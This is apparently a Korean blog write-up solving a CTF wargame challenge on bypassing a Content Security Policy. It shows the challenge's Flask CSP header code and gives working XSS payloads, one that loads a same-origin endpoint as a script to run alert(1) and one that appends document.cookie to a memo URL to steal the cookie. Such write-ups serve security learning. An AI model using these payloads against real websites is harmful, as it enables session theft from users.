CTF & Wargame(WEB)

level 2 CSP Bypass

KWAKBUMJUN 2025. 4. 18. 02:48

이번 문제도 저번에 풀었던 xss 문제들과 구조는 거의 유사하다. 하지만 다른점이 있다면 xss 필터링 대신 CSP 기법이 적용되었다는 것이다.

add_header() 함수 분석

@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response

 

해당 함수에 있는 CSP를 확인해보면 

모든 리소스는 같은 오리진에서만 불러올수 있다.

이미지는 오직 https://dreamhack.io/에서만 불러올수 있다.

스타일시트는 self(같은 오리진)에서 불러오는 것만 허용한다.

자바스크립트는 self(같은 오리진) 출처만 허용한다. 

 

익스플로잇

해당 문제의 CSP에서 script-src는 self만 허용하고 있기 때문에 vuln 페이지를 이용하여 csp를 우회할 것이다.

/vuln 페이지의 param 부분에 아래와 같은 페이로드를 넣고 전송하면 alert(1)이 성공적으로 실행되는 것을 확인할수 있을 것이다.

<script src="/vuln?param=alert(1)"></script>

 

우리는 memo 페이지를 활용하여 탈취한 쿠키를 출력시키고 싶기 때문에

<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie;"></script>

위와 같이 입력하면 csp를 우회하여 성공적으로 flag를 획득할수 있을 것이다.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 1 CSRF Advanced  (0) 2025.04.18
level 3 CSP Bypass Advanced  (0) 2025.04.18
XSS Filtering Bypass Advanced level 3  (0) 2025.04.18
level 1 XSS Filtering Bypass  (1) 2025.04.17
Command Injection Advanced level 1  (0) 2025.04.16